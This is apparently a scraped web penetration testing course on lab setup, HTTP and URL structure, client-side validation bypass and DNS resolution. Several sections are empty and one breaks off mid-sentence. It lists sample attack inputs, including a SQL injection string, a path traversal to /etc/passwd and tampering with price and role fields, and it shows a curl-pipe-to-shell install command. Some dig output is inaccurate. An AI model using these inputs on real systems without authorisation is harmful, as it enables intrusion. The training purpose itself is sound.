0.1 What is WebPT (Web Penetration Testing)?

🔍 Definition & Core Concepts

Web Penetration Testing (WebPT) is the authorized simulated attack on web applications to identify security vulnerabilities before malicious attackers can exploit them. It combines automated scanning with manual testing techniques to uncover weaknesses in authentication, authorization, input validation, session management, and business logic.

📊 Types of Penetration Testing

🎯 Goals of Web Penetration Testing

0.2 Who Should Take This Course?

👥 Target Audience Breakdown

📋 Detailed Prerequisites

0.3 How to Use This Platform Effectively

📚 Recommended Learning Path

┌─────────────────────────────────────────────────────────────────────────┐
│                         RECOMMENDED LEARNING PATH                       │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                         │
│   Module 00    →    Module 01    →    Module 02    →    Module 03       │
│   (Foundation)     (DNS & HTTP)      (Protocols)       (Vulnerabilities)│
│        ↓                 ↓                 ↓                  ↓         │
│    Basics &          DNS Flow        HTTP Methods        SQLi, XSS      │
│    Ethics            & Records       & Headers          & CSRF          │
│                                                                         │
│        ↓                                                                │
│                                                                         │
│   Module 04-22  →    Core Tools    →    Interview Prep →   Labs & CTF   │
│   (Advanced Vulns)   (Burp, Nmap)      (Questions)       (Hands-on)     │
│        ↓                 ↓                 ↓                  ↓         │
│    File Upload,       Real Tools       Interview         Practice       │
│    SSRF, XXE          & Workflow       Preparation      Challenges      │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘
            

🎮 Platform Features & How to Use Them

🎯 How to Get the Most Value

0.4 Web Pentesting Roadmap (Beginner to Advanced)

0.5 Understanding Legal & Ethical Boundaries

⚖️ Legal Framework Overview

🛡️ Ethical Guidelines for Pentesters

⚠️ Common Legal Violations & Consequences

0.6 Setting Up Your Lab Environment

💻 Complete Lab Setup Guide

🔧 Step-by-Step Installation (VirtualBox Method)

1. Download VirtualBox from https://www.virtualbox.org/ (Windows/Mac/Linux)
2. Install VirtualBox with default settings
3. Download Kali Linux VM from https://www.kali.org/get-kali/#kali-virtual-machines (Choose VirtualBox option)
4. Extract the .7z file to get the .ova appliance file
5. Import the VM: File → Import Appliance → Select .ova file
6. Configure VM Resources: Minimum 4GB RAM, 2 CPU cores, 40GB disk
7. Start Kali Linux: Default credentials = kali / kali
8. Update Kali:

   sudo apt update && sudo apt full-upgrade -y

9. Install DVWA:

   sudo apt install dvwa
   sudo dvwa-setup

10. Configure Burp Suite: Set browser proxy to 127.0.0.1:8080

📦 Docker-Based Lab (Fastest Setup - Recommended for Beginners)

# Install Docker (one-time setup)
curl -fsSL https://get.docker.com | sh

# Add your user to docker group (Linux)
sudo usermod -aG docker $USER

# Run DVWA (Damn Vulnerable Web Application)
docker run --rm -it -p 80:80 vulnerables/web-dvwa

# Run OWASP Juice Shop (modern vulnerable e-commerce)
docker run --rm -it -p 3000:3000 bkimminich/juice-shop

# Run WebGoat (OWASP training app)
docker run --rm -it -p 8080:8080 webgoat/goatandwolf

# Run bwapp (buggy web app)
docker run --rm -it -p 8010:80 raesene/bwapp

# Access your vulnerable apps:
# - DVWA: http://localhost
# - Juice Shop: http://localhost:3000
# - WebGoat: http://localhost:8080/WebGoat
# - bwapp: http://localhost:8010/login.php

🌐 Browser Configuration for Pentesting

# Firefox Settings for Pentesting:

1. Install FoxyProxy extension (Burp Suite integration)
2. Configure manual proxy: 127.0.0.1:8080
3. Disable HTTPS-Only Mode (for testing HTTP sites)
4. Install Wappalyzer (technology fingerprinting)
5. Install User-Agent Switcher
6. Set home page to about:blank (avoid accidental traffic)

# Chrome/Edge Settings:
Use --proxy-server="127.0.0.1:8080" command-line flag

0.7 Web Architecture (Client, Application Server, Database)

🏗️ The Three-Tier Architecture Explained

┌─────────────────────────────────────────────────────────────────────────────────────┐
│                              TIER 1: PRESENTATION LAYER (Client)                    │
├─────────────────────────────────────────────────────────────────────────────────────┤
│                                                                                     │
│    ┌─────────────┐     ┌─────────────┐     ┌─────────────┐                          │
│    │   Browser   │     │   Mobile    │     │    API      │                          │
│    │  (Chrome/   │     │    App      │     │   Client    │                          │
│    │   Firefox)  │     │  (iOS/Droid)│     │  (Postman)  │                          │
│    └──────┬──────┘     └──────┬──────┘     └──────┬──────┘                          │
│           │                   │                   │                                 │
│           └───────────────────┼───────────────────┘                                 │
│                               │                                                     │
│                    HTTP/HTTPS Requests (User Input)                                 │
│                               │                                                     │
│                    ▼           ▼           ▼                                        │
└───────────────────────────────┼─────────────────────────────────────────────────────┘
                                │
                                ▼
┌─────────────────────────────────────────────────────────────────────────────────────┐
│                              TIER 2: APPLICATION LAYER (Server)                     │
├─────────────────────────────────────────────────────────────────────────────────────┤
│                                                                                     │
│    ┌─────────────────────────────────────────────────────────────────────────────┐  │
│    │                         WEB SERVER (Apache / Nginx / IIS)                   │  │
│    │  • Receives HTTP requests                                                   │  │
│    │  • Serves static files (HTML, CSS, JS, images)                              │  │
│    │  • Load balancing, SSL termination, caching                                 │  │
│    └─────────────────────────────────┬───────────────────────────────────────────┘  │
│                                      │                                              │
│                                      ▼                                              │
│    ┌─────────────────────────────────────────────────────────────────────────────┐  │
│    │                    APPLICATION SERVER (PHP/Python/Node/Java)                │  │
│    │  • Processes business logic                                                 │  │
│    │  • Validates ALL user input                                                 │  │
│    │  • Handles authentication & session management                              │  │
│    │  • Manages authorization (RBAC, permissions)                                │  │
│    │  • Orchestrates database operations                                         │  │
│    └─────────────────────────────────┬───────────────────────────────────────────┘  │
│                                      │                                              │
└──────────────────────────────────────┼──────────────────────────────────────────────┘
                                       │
                                       ▼ SQL / API Calls
┌─────────────────────────────────────────────────────────────────────────────────────┐
│                               TIER 3: DATA LAYER (Database)                         │
├─────────────────────────────────────────────────────────────────────────────────────┤
│                                                                                     │
│    ┌─────────────┐     ┌─────────────┐     ┌─────────────┐                          │
│    │   MySQL/    │     │  MongoDB    │     │  Redis/     │                          │
│    │  PostgreSQL │     │   (NoSQL)   │     │  Memcached  │                          │
│    └─────────────┘     └─────────────┘     └─────────────┘                          │
│                                                                                     │
│    • Stores application data (users, products, transactions)                        │
│    • Manages user credentials (password hashes)                                     │
│    • Executes queries and returns results to application layer                      │
│    • Enforces data integrity (foreign keys, constraints)                            │
│                                                                                     │
└─────────────────────────────────────────────────────────────────────────────────────┘
            

🔐 Attack Surface & Vulnerabilities by Tier

0.8 Website vs Web Application

0.9 How the Web Works (Request → Response Flow)

Understanding the complete HTTP request‑response cycle is the foundation of web penetration testing. Every attack – from SQLi to XSS – manipulates some part of this flow.

GET /products?id=123 HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml
Accept-Language: en-US,en;q=0.9
Cookie: sessionId=abc123
Connection: keep-alive

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 4521
Cache-Control: max-age=3600
Set-Cookie: sessionId=xyz789

<!DOCTYPE html>
<html>
<head><title>Example Page</title></head>
<body>...</body>
</html>

📡 Step 1: User Action & URL Parsing

• User clicks a link, types a URL, or submits a form.
• Browser parses the URL → extracts protocol, domain, port, path, query string.

🌐 Step 2: DNS Resolution (Domain → IP)

• Browser checks cache → OS cache → router cache → ISP recursive DNS.
• Recursive DNS queries Root → TLD → Authoritative nameservers.
• Attack relevance: DNS spoofing, DNS rebinding, subdomain takeover.

🔌 Step 3: TCP & TLS Handshakes

• TCP 3‑way handshake: SYN → SYN-ACK → ACK.
• TLS handshake (HTTPS): ClientHello, ServerHello, certificate exchange, key agreement.
• Attack relevance: SSL stripping, weak cipher suites, heartbleed (historic).

📤 Step 4: HTTP Request Construction

The browser builds an HTTP request containing:

• Request line: GET /products?id=123 HTTP/1.1
• Headers: Host, User-Agent, Cookie, Referer, Origin, etc.
• Body (POST/PUT): form data, JSON, XML, file upload.

⚙️ Step 5: Server Processing

• Web server (Nginx/Apache/IIS) receives request → routes to appropriate backend.
• Application server (PHP, Node, Python, Java) executes logic → may query database, call APIs, read files.
• Vulnerabilities happen here: injection, broken auth, business logic flaws.

📥 Step 6: HTTP Response

The server returns an HTTP response with:

• Status line: HTTP/1.1 200 OK (or 404, 500, 302…)
• Response headers: Set-Cookie, Content-Type, Location, security headers (CSP, X-Frame-Options).
• Body: HTML, JSON, image, redirect, error message.

🔄 Step 7: Browser Rendering & Client‑Side Execution

• Browser parses HTML, loads CSS/JS, executes JavaScript, makes additional requests (AJAX, WebSockets).
• Attack relevance: XSS, DOM‑based attacks, CSRF, clickjacking.

⏱️ Caching & Keep‑Alive Optimizations

• Browser cache: stores static assets – can leak sensitive responses if misconfigured.
• Keep‑Alive / HTTP/2 multiplexing: reuses TCP/TLS connections – cache poisoning risks.

🧪 Security Checklist – Request/Response Flow

0.10 URL Structure, Endpoints & Parameters

The URL (Uniform Resource Locator) is your primary attack surface. Every segment, query parameter, and fragment can introduce vulnerabilities.

🧬 URL Anatomy (Deconstructed)

• Scheme – Protocol (http, https, ftp, ws, file).
• Host – Domain or IP address.
• Port – Default 80 (http) / 443 (https). Custom ports increase attack surface.
• Path – Endpoint / resource location. Often reveals API structure.
• Query string – Key=value pairs separated by &. Most common injection vector.
• Fragment – Client‑side only (not sent to server). Used for navigation or tokens.

❓ Why is "?" used in a URL?

The question mark (?) is a reserved character in URIs that acts as a delimiter – it separates the main resource path from the query string (additional data sent to the server).

╔══════════════════════════════════════════════════════════════════════════════╗
║                         COMPLETE URL STRUCTURE                               ║
╚══════════════════════════════════════════════════════════════════════════════╝

https://example.com/search?q=chatgpt&lang=en
│      │           │       │         │
│      │           │       └─────────┼─────────────────────────────────────┐
│      │           │                 │                                     │
│      │           │                 └── Query string starts with '?'      │
│      │           │                                                       │
│      │           └── Resource path (endpoint)                            │
│      │                                                                   │
│      └── Domain name (host)                                              │
│                                                                          │
└── Protocol (scheme)                                                      


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  🔹 QUERY STRING BREAKDOWN (after `?`)  
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

                           q=chatgpt&lang=en
                           │ │       │ │
                           │ │       │ └── Value for "lang"
                           │ │       └──── Parameter name "lang"
                           │ └─────────── Value for "q"  
                           └───────────── Parameter name "q"
                                ▲
                                │
                           Separator (&) between parameters
                                 

• Everything before ? → identifies the static resource (path + file).
• Everything after ? → dynamic data (key=value pairs) sent to the server, usually for filtering, searching, or state.
• Why not just use slashes? Because query strings are optional, unordered, and can contain many parameters without changing the resource hierarchy.

🔍 Query String vs Fragment (#) – What’s the difference?

❓ Why is "&" used in a URL?

The ampersand (&) is the standard delimiter that separates multiple key=value pairs inside the query string. It tells the server where one parameter ends and another begins.

?name=john&age=25&city=nyc
  ───┬──── ──┬── ───┬────
     │       │      └── parameter 3
     │       └── parameter 2
     └── parameter 1

• Without & – the server would see one long, uninterpretable string (e.g., name=johnage=25city=nyc).
• Why not commas or spaces? The & character was chosen early in web history (from application/x-www-form-urlencoded standard) and is now universally supported.
• Order rarely matters – most frameworks treat ?a=1&b=2 the same as ?b=2&a=1 (but always confirm!).
• Duplicate parameters – ?id=1&id=2 – server behavior varies:
• Some take the first occurrence.
• Some take the last occurrence.
• Some convert them into an array (id=[1,2]).

🔄 URL encoding of & and other special characters

If a parameter value naturally contains an ampersand (e.g., ?company=AT&T), it must be encoded to avoid breaking the parameter separator. Otherwise, the server would interpret & as the start of a new parameter.

# Example: Searching for "AT&T"
Incorrect: /search?q=AT&T   → Server sees two params: q=AT and T (empty)
Correct:   /search?q=AT%26T → Server sees single param: q=AT%26T → decodes to AT&T
                             

🎯 Endpoints: The Gateways to Resources

An endpoint is a specific URL path that accepts HTTP requests. Examples:

• /login – authentication
• /api/users/123 – RESTful user resource
• /search?q=... – search functionality
• /upload – file upload

🔎 Parameter Types & Where They Hide

🚨 URL Encoding & Normalization Attacks

Browsers encode special characters. Backends decode them – mismatches cause bypasses.

• Double encoding: %252f → decoded to %2f → then / (bypasses filters).
• Unicode tricks: /c%ef%bf%bc/ → may normalize to /c//
• Line folding / whitespace: ?param= value – some parsers trim, some don’t.

📂 Hidden Endpoint Discovery (Pentester Approach)

• Directory brute‑forcing – tools like ffuf, dirsearch with wordlists.
• JS source scraping – LinkFinder extracts endpoints from JS files.
• Swagger/OpenAPI exposure – /swagger.json, /api-docs, /v3/api-docs.
• Archive discovery – Wayback Machine (e.g., waybackurls).
• Parameter brute‑forcing – fuzz for hidden parameters (debug, admin, test).

⚔️ Real‑World Parameter Attacks

• IDOR (Insecure Direct Object Reference) – change ?user_id=123 to 124.
• SQL injection – ?id=1' OR '1'='1
• Path traversal – ?file=../../../etc/passwd
• Parameter pollution – ?id=1&id=2 – server may use first or last.
• Mass assignment – add extra JSON fields like "is_admin": true.
• HTTP verb tampering – change GET to POST or PUT to bypass access controls.

🛡️ How Developers Should Protect Parameters

• Use parameterized queries / ORMs (stop injection).
• Validate against allowlists (not blacklists).
• Apply strict input validation (type, length, range, format).
• Never trust client‑side constraints – validate server‑side.
• Implement proper authorization checks for each endpoint.

📋 URL Attack Surface Quick Reference

0.12 What is Attack Surface in Web Applications?

🎯 Understanding Attack Surface

The attack surface is the sum of all possible points where an attacker can try to enter or extract data from a system. In web applications, this includes:

📊 Attack Surface Expansion Factors

0.13 Client-Side vs Server-Side Validation

<!-- HTML5 validation -->
<input type="email" required>

<!-- JavaScript validation -->
<script>
if(password.length < 8) {
    alert("Password too short!");
    return false;
}
</script>

# Python validation (REAL security)
def validate_login(username, password):
    if len(password) < 8:
        return {"error": "Password too short"}
    if not re.match(r"[^@]+@[^@]+\.[^@]+", email):
        return {"error": "Invalid email"}
    # Process login only after validation
    return authenticate(username, password)

📊 Comparison Table

0.14 Why Client-Side Validation Can Be Bypassed

🔧 Methods Attackers Use to Bypass Client-Side Checks

# Firefox: about:config
javascript.enabled = false

# Chrome: Settings → Privacy → Site Settings → JavaScript → Block

// Remove required attribute
element.removeAttribute('required');

// Change maxlength
input.maxLength = 9999;

# Using curl
curl -X POST https://example.com/login \
  -d "username=admin&password=123"

# Using Burp Suite Repeater

Original: price=100
Modified: price=1

Original: role=user
Modified: role=admin

💀 Real-World Attack Example

<!-- HTML -->
<input type="hidden" id="discount" value="0">

<script>
function applyDiscount(code) {
    if(code === "SAVE20") {
        document.getElementById('discount').value = 20;
        alert("20% discount applied!");
    }
}
</script>

// Step 1: Open DevTools (F12)
// Step 2: Find the hidden field
// Step 3: Modify value directly

document.getElementById('discount').value = 100;
// Or use Burp to intercept and change:

POST /checkout HTTP/1.1
...
discount=100  ← Changed from 0 to 100!

0.15 Trust Boundaries (Client vs Server)

🔐 What is a Trust Boundary?

A trust boundary is a line where data crosses from an untrusted environment to a trusted environment. The browser/client is UNTRUSTED. The server is TRUSTED.

┌─────────────────────────────────────────────────────────────────────────────┐
│                           UNTRUSTED ZONE                                    │
│  ┌─────────────────────────────────────────────────────────────────────┐    │
│  │                         CLIENT (Browser)                            │    │
│  │  • User input (potentially malicious)                               │    │
│  │  • Cookies (can be modified)                                        │    │
│  │  • Headers (can be spoofed)                                         │    │
│  │  • JavaScript (can be disabled/modified)                            │    │
│  │  • DOM (can be edited)                                              │    │
│  └─────────────────────────────────────────────────────────────────────┘    │
│                                      │                                      │
│                                      ▼                                      │
│  ═══════════════════════════════════════════════════════════════════════    │
│                          🔒 TRUST BOUNDARY 🔒                               │
│  ═══════════════════════════════════════════════════════════════════════    │
│                                      │                                      │
│                                      ▼                                      │
│                           TRUSTED ZONE                                      │
│  ┌─────────────────────────────────────────────────────────────────────┐    │
│  │                         SERVER (Backend)                            │    │
│  │  • Database (authoritative data)                                    │    │
│  │  • Session store (real user state)                                  │    │
│  │  • Business logic (authoritative rules)                             │    │
│  │  • Authentication system (real identity)                            │    │
│  └─────────────────────────────────────────────────────────────────────┘    │
└─────────────────────────────────────────────────────────────────────────────┘
            

📋 The 4 Golden Rules of Trust Boundaries

⚠️ Common Trust Boundary Violations

0.16 How WebPT Maps to OWASP & Real-World Attacks

🌐 OWASP Top 10 Complete Alignment

The OWASP Top 10 is the industry standard for web application security risks. This course maps directly to each category, helping you understand both theory and real-world exploitation.

0.18 Certification Path & Career Guidance

🎓 Recommended Certification Roadmap

💼 Career Paths in Web Security

📝 Building Your Portfolio

1.1 What is a Domain Name?

Definition

A domain name is a human-readable identifier used to locate a resource on the internet. While users interact with domain names, computers and networks communicate using IP addresses. The domain name acts as a logical reference that is translated into an IP address through the Domain Name System (DNS).

Technically, a domain name is not a server or an application. It is a naming and addressing mechanism that helps systems discover where a service is hosted.

Why Domain Names Exist

• IP addresses are difficult to remember and manage
• Servers can change IPs without affecting users
• Domains provide identity, branding, and trust
• They allow organizations to scale infrastructure easily

Structure of a Domain Name

Domain names follow a hierarchical structure and are read from right to left. Each level represents an administrative boundary.

Example domain: www.stardigitalsoftware.com

• .com → Top-Level Domain (TLD)
• stardigitalsoftware → Second-Level Domain (registered name)
• www → Subdomain / service label

Top-Level Domains (TLDs)

A Top-Level Domain (TLD) is the highest level in the domain hierarchy. It defines the general purpose, category, or geographic region of a domain.

Common Generic TLDs (gTLDs)

• .com – Commercial organizations (most widely used)
• .org – Non-profit and community organizations
• .net – Network services and infrastructure
• .info – Informational websites
• .edu – Educational institutions (restricted)

Country Code TLDs (ccTLDs)

• .in – India
• .us – United States
• .uk – United Kingdom

🏢 Real-World Example: StarDigitalSoftware.com

Consider the domain stardigitalsoftware.com. Its structure and usage in a professional environment might look like this:

• stardigitalsoftware.com – Main company website
• www.stardigitalsoftware.com – Public-facing web application
• api.stardigitalsoftware.com – Backend API services
• login.stardigitalsoftware.com – Authentication service
• admin.stardigitalsoftware.com – Internal admin panel

🔐 Domain Names from a Security & Pentesting Perspective

For security professionals and penetration testers, a domain name is the starting point of reconnaissance. A single domain can reveal:

• Hidden or forgotten subdomains
• Exposed development or staging environments
• Email and authentication infrastructure
• Misconfigured DNS records

What are Subdomains?

A subdomain is a child domain that exists under a main (registered) domain. Subdomains are commonly used to separate services, applications, environments, or business functions within the same organization.

Technically, subdomains are labels added to the left side of a registered domain and are fully controlled through DNS records.

🧱 Subdomain Structure Explained

Consider the domain: login.api.stardigitalsoftware.com

• .com → Top-Level Domain (TLD)
• stardigitalsoftware → Registered domain
• api → Subdomain (service layer)
• login → Sub-subdomain (specific function)

🏢 Common Real-World Subdomain Usage

• www.example.com – Main website
• api.example.com – Backend APIs
• auth.example.com – Authentication services
• admin.example.com – Administrative interface
• mail.example.com – Email services
• dev.example.com – Development environment
• test.example.com – Testing or staging environment

🌍 Subdomains in Enterprise Environments

Large organizations rely heavily on subdomains to manage different environments and business units.

• Production: app.company.com
• Staging: staging.app.company.com
• Development: dev.app.company.com
• Internal tools: intranet.company.com

1.2 Domain vs IP Address

🌐 Why IP Addresses Exist

Every device connected to the internet is assigned an IP address (Internet Protocol address). IP addresses act as unique numerical identifiers that allow computers, servers, and network devices to locate and communicate with each other across networks.

Unlike humans, computers cannot interpret names. Network communication is fundamentally based on numeric addressing and routing, which is why IP addresses are mandatory for all internet traffic.

🧠 What an IP Address Represents

• A unique identifier for a device on a network
• A routing destination used by routers and switches
• A logical location, not a physical one
• A requirement for any TCP/IP communication

📊 Domain vs IP Address (Conceptual Comparison)

• Domain Name: A human-friendly alias (e.g., google.com)
• IP Address: A machine-friendly identifier (e.g., 142.250.190.14)

A domain name does not replace an IP address. It simply provides a readable layer on top of it. Before any connection is established, the domain must be translated into an IP address using DNS.

🔄 Static vs Dynamic IP Addresses

• Static IP: Fixed address, commonly used by servers
• Dynamic IP: Changes periodically, commonly used by clients

Domains allow services to remain accessible even if the underlying IP address changes. This abstraction is critical for cloud, load-balanced, and distributed systems.

🌍 IPv4 vs IPv6

• IPv4: 32-bit addressing (e.g., 192.168.1.1)
• IPv6: 128-bit addressing (e.g., 2001:db8::1)

🏢 Real-World Example (Enterprise Perspective)

Consider a company website hosted in the cloud:

• www.company.com → Load balancer
• Load balancer → Multiple backend servers
• Each backend server has its own private IP

The user never sees these IP changes because the domain remains constant.

🔐 Security & Pentesting Perspective

From a security standpoint, understanding the relationship between domains and IP addresses is critical.

• Multiple domains may resolve to the same IP
• One domain may resolve to multiple IPs (round-robin DNS)
• IP-based restrictions can often be bypassed using domains
• Direct IP access may expose services hidden behind domains

🧠 Professional Insight

For penetration testers, resolving domains to IPs helps identify:

• Shared hosting environments
• Cloud providers and infrastructure
• Hidden or legacy services
• Attack surface beyond the main website

1.3 What is DNS & Why It Exists

📖 Definition

The Domain Name System (DNS) is a globally distributed, hierarchical naming system that translates human-readable domain names into machine-readable IP addresses. DNS acts as a critical control plane of the internet, enabling users to access services without knowing their underlying network locations.

From a technical standpoint, DNS is not a single server or database. It is a federated system made up of millions of servers, each responsible for a specific portion of the namespace.

🧠 Why DNS is Required

• Humans cannot easily remember numerical IP addresses
• IP addresses may change, but domain names remain stable
• Large-scale services require flexible and dynamic routing
• DNS enables global scalability and decentralization

🌐 DNS as an Abstraction Layer

DNS provides a layer of abstraction between users and infrastructure. Organizations can move servers, change cloud providers, add load balancers, or deploy new regions without changing the domain name users rely on.

This abstraction is foundational to modern technologies such as:

• Cloud computing and elastic infrastructure
• Content Delivery Networks (CDNs)
• High availability and failover architectures
• Microservices and API-based systems

🗂️ Distributed & Hierarchical Design

DNS is designed to be both distributed and hierarchical, ensuring resilience and performance. No single DNS server contains all domain information.

• Root servers know where TLD servers are
• TLD servers know authoritative servers for domains
• Authoritative servers store actual DNS records

🔄 Why DNS Is Faster Than It Looks

Although DNS resolution involves multiple steps, it is optimized through aggressive caching. Responses are cached at multiple layers to reduce latency.

• Browser-level DNS cache
• Operating system DNS cache
• ISP or resolver cache
• Enterprise DNS infrastructure

🏢 DNS in Real-World Enterprise Environments

In enterprise and cloud environments, DNS is not just a name resolution tool — it is a traffic management system.

• Routing users to the nearest data center
• Failover during outages
• Separating internal and external services
• Service discovery in microservices architectures

🔐 DNS from a Security Perspective

DNS is also a critical security component. Because all web traffic depends on DNS, attackers freq

1.4 DNS Resolution Process (Recursive vs Iterative)

📖 What is DNS Resolution?

DNS resolution is the technical process of converting a domain name into its corresponding IP address. This process determines who asks whom, in what order, and how trust is delegated across the DNS hierarchy.

🧠 Two Fundamental Resolution Models

DNS resolution operates using two distinct models:

• Recursive Resolution
• Iterative Resolution

🔁 Recursive DNS Resolution

In recursive resolution, the client asks a DNS server to resolve the domain completely. The server takes full responsibility for finding the final answer.

• The client sends one request
• The resolver performs all lookups on behalf of the client
• The client never talks to root or TLD servers directly

Example:

Browser → Recursive Resolver → Final IP

🔄 Iterative DNS Resolution

In iterative resolution, each DNS server responds with the best information it has, usually a referral to another server.

• Root servers respond with TLD server addresses
• TLD servers respond with authoritative server addresses
• No server performs the full lookup alone

🧭 Combined Real-World Flow

In reality, DNS uses both models together:

1. Client makes a recursive query to resolver
2. Resolver performs iterative queries to DNS hierarchy
3. Resolver returns the final answer to the client

🏢 Why This Design Exists

• Reduces complexity for clients
• Improves performance via caching
• Protects root and TLD servers from direct user traffic
• Centralizes policy and security controls

🔐 Security & Pentesting Perspective

• Open recursive resolvers can be abused
• Weak recursion controls enable cache poisoning
• Understanding flow helps locate trust boundaries

Root DNS Servers        → point to TLD servers (.com, .org, .net, .in)
TLD DNS Servers         → point to Authoritative DNS servers
Authoritative DNS       → returns the final IP address
                                 

User / Browser
    ↓
Browser DNS Cache
    ↓
Operating System DNS Cache
    ↓
HOSTS File
    ↓
Recursive DNS Resolver (ISP / 8.8.8.8 / 1.1.1.1)
    ↓
Root DNS Servers        → point to TLD servers (.com, .org, .net, .in)
    ↓
TLD DNS Servers         → point to Authoritative DNS servers
    ↓
Authoritative DNS       → returns the final IP address
    ↓
Recursive Resolver (caches response)
    ↓
Browser connects to the IP (TCP → HTTPS)
                                 

1.5 DNS Query Types (Recursive, Iterative, Non-Recursive)

📖 What is a DNS Query?

A DNS query is a request for information sent to a DNS server. Query types define how much work the server must do and how responsibility is shared.

🔁 1. Recursive Query — "Full Service Resolution"

Client → Recursive Resolver: “Give me the IP for example.com — do whatever you need to find it”
                                     

🛠 How a Recursive Query Works (Step-by-Step)

1. Client sends recursive request
   Your laptop sends a DNS query to your configured resolver (e.g., 8.8.8.8) with the "recursive desired" flag set.
2. Resolver accepts responsibility
   Google's DNS (8.8.8.8) receives the query and begins the resolution process.
3. Resolver performs all lookups
   The resolver contacts root servers, TLD servers, and authoritative servers on your behalf — you never see these intermediate steps.
4. Final answer returned
   The resolver returns either:
   • The IP address (success) → 142.250.185.78
   • An error message (failure) → NXDOMAIN (non-existent domain)

# Real command: Send a recursive query using dig
> dig google.com +recursive

; <<>> DiG 9.10.6 <<>> google.com +recursive
;; QUESTION SECTION:
;google.com.            IN  A

;; ANSWER SECTION:
google.com.     299     IN  A    142.250.185.78  ← Final answer (recursive success)

# Without recursion (iterative mode)
> dig google.com +norecurse
;; flags: qr rd ra; QUERY: 1, ANSWER: 1  ← "ra" = recursion available, but we didn't request it
                                 

🔄 2. Iterative Query — "Referral-Based Resolution"

Resolver → Root: “Where is example.com?” (iterative)
Root → Resolver: “I don't know — try .com TLD server at 192.0.34.162” (referral)
                                     

🛠 How an Iterative Query Works (Step-by-Step)

1. Resolver sends iterative query to root
   8.8.8.8 asks a root server: "Where is google.com?" — with the recursion desired flag OFF.
2. Root responds with referral
   Root server says: "I don't have the answer. Here are the .com TLD servers: a.gtld-servers.net (192.5.6.30), b.gtld-servers.net (192.33.14.30)"
3. Resolver sends iterative query to TLD
   8.8.8.8 asks a .com TLD server: "Where is google.com?"
4. TLD responds with referral
   TLD server says: "I don't have the answer. Google's authoritative servers are: ns1.google.com (216.239.32.10), ns2.google.com (216.239.34.10)"
5. Resolver sends iterative query to authoritative
   8.8.8.8 asks Google's server: "Where is google.com?"
6. Authoritative responds with answer
   Google's server says: "google.com is at 142.250.185.78" — finally an answer, not a referral!

# Real command: Force iterative mode (trace the referral chain)
> dig google.com +trace

; Received 525 bytes from 198.41.0.4#53(root) in 28 ms  ← Root referral
; Received 508 bytes from 192.12.94.30#53(gtld) in 92 ms  ← TLD referral
; Received 219 bytes from 216.239.32.10#53(google) in 60 ms  ← Authoritative answer
google.com. 300 IN A 142.250.185.78  ← FINAL ANSWER

# See only the referral from root
> dig @198.41.0.4 google.com +norecurse

;; AUTHORITY SECTION:
google.com.     172800  IN  NS  a.gtld-servers.net.
google.com.     172800  IN  NS  b.gtld-servers.net.  ← Referral to TLD servers
                                 

📦 3. Non-Recursive Query — "Instant Answer"

Client → Server: “Where is example.com?” (non-recursive)
Server (checks cache/authority) → Client: “93.184.216.34” (immediate answer)
                                     

🛠 How a Non-Recursive Query Works

1. Client sends DNS request
   Your browser or operating system sends a DNS query to a DNS server.
2. Server checks local data sources
   The DNS server examines:
   • Its authoritative zone file (if it owns the domain)
   • Its cache memory (if previously resolved by anyone)
3. Data found — immediate response returned
   If the record exists and the TTL has not expired, the server immediately returns the IP address.
4. No external lookup performed
   The server does not contact:
   • Root DNS servers
   • TLD DNS servers
   • Other authoritative servers

# Real example 1: Query Google's cache (non-recursive from cache)
> dig google.com

;; QUESTION SECTION:
;google.com.            IN  A

;; ANSWER SECTION:
google.com.     299     IN  A    142.250.185.78  ← TTL shows 299s remaining — from cache!

# Real example 2: Query authoritative server directly (non-recursive from authority)
> dig @ns1.google.com google.com

;; ANSWER SECTION:
google.com.     300     IN  A    142.250.185.78  ← Authoritative answer — no cache involved

# Compare timing:
# Recursive first time: ~150ms
> dig google.com +stats | grep "Query time"
;; Query time: 152 msec

# Non-recursive cached: ~0ms
> dig google.com +stats | grep "Query time"
;; Query time: 0 msec  ← Instant from cache!
                                 

Client → DNS Server (Authoritative or Cached) → Immediate IP → Client

📊 Query Types Comparison with Real Examples

🧪 Practical Scenario: All Three Queries in Action

When you visit example.com for the first time, here's what happens:

TIME: 10:00:00 — FIRST VISIT

Step 1: RECURSIVE QUERY
Your browser → 8.8.8.8: "Find example.com for me" [RECURSIVE]

Step 2: ITERATIVE QUERIES (happens inside 8.8.8.8)
8.8.8.8 → Root: "Where is example.com?" [ITERATIVE]
Root → 8.8.8.8: "Ask .com TLD at 192.0.34.162" [REFERRAL]

8.8.8.8 → .com TLD: "Where is example.com?" [ITERATIVE]
.com TLD → 8.8.8.8: "Ask ns1.example.com at 93.184.216.34" [REFERRAL]

8.8.8.8 → ns1.example.com: "Where is example.com?" [ITERATIVE]
ns1.example.com → 8.8.8.8: "It's at 93.184.216.34" [AUTHORITATIVE ANSWER]

Step 3: NON-RECURSIVE RESPONSE (from resolver perspective)
8.8.8.8 → Your browser: "example.com = 93.184.216.34" [NON-RECURSIVE]

TOTAL TIME: 150ms

TIME: 10:05:00 — SECOND VISIT

Step 1: NON-RECURSIVE QUERY (CACHED)
Your browser → Cache: "Where is example.com?" [NON-RECURSIVE]
Cache → Browser: "93.184.216.34" [INSTANT]

TOTAL TIME: 0ms (cached!)

🧭 Query Type Comparison

• Recursive: “You must find the answer”
• Iterative: “Tell me what you know”
• Non-Recursive: “Answer from cache or zone”

🏢 Where Each Query Type is Used

• Browsers → Recursive queries
• Resolvers → Iterative queries
• Authoritative servers → Non-recursive responses

🔐 Security & Pentesting Perspective

• Open recursion = amplification & poisoning risk
• Non-recursive behavior reveals caching behavior
• Query analysis helps identify resolver weaknesses

1.6 Types of DNS Servers

🗂️ DNS Server Roles (Big Picture)

DNS works through a hierarchy of specialized server types, each with a clearly defined responsibility. No single DNS server knows all domain-to-IP mappings. Instead, servers cooperate to resolve queries efficiently and reliably.

🌍 1. Root DNS Servers

Root DNS servers sit at the top of the DNS hierarchy. They do not store IP addresses for domains. Instead, they direct queries to the appropriate Top-Level Domain (TLD) servers.

• They know where .com, .org, .net, etc. are managed
• They respond with referrals, not final answers
